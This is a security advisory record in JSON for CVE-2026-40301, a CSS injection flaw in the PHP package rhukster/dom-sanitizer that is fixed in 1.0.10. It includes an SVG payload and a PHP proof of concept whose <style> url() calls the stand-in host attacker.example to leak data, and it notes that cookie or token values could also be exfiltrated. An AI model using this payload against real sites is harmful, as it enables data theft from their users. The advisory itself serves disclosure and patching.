{"id":"GHSA-93vf-569f-22cq","summary":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","details":"### Summary\nDOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of \u003cstyle\u003e elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' =\u003e ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\n\u003c/svg\u003e\n```\n\n### PoC\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\u003c/svg\u003e';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer-\u003esanitize($svg);\necho $output; // \u003cstyle\u003e with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.","aliases":["CVE-2026-40301"],"modified":"2026-05-05T16:04:51.849718Z","published":"2026-04-10T21:08:30Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-10T21:08:30Z","nvd_published_at":"2026-04-17T21:16:34Z"},"references":[{"type":"WEB","url":"https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301"},{"type":"WEB","url":"https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"},{"type":"PACKAGE","url":"https://github.com/rhukster/dom-sanitizer"},{"type":"WEB","url":"https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"}],"affected":[{"package":{"name":"rhukster/dom-sanitizer","ecosystem":"Packagist","purl":"pkg:composer/rhukster/dom-sanitizer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-93vf-569f-22cq/GHSA-93vf-569f-22cq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}]}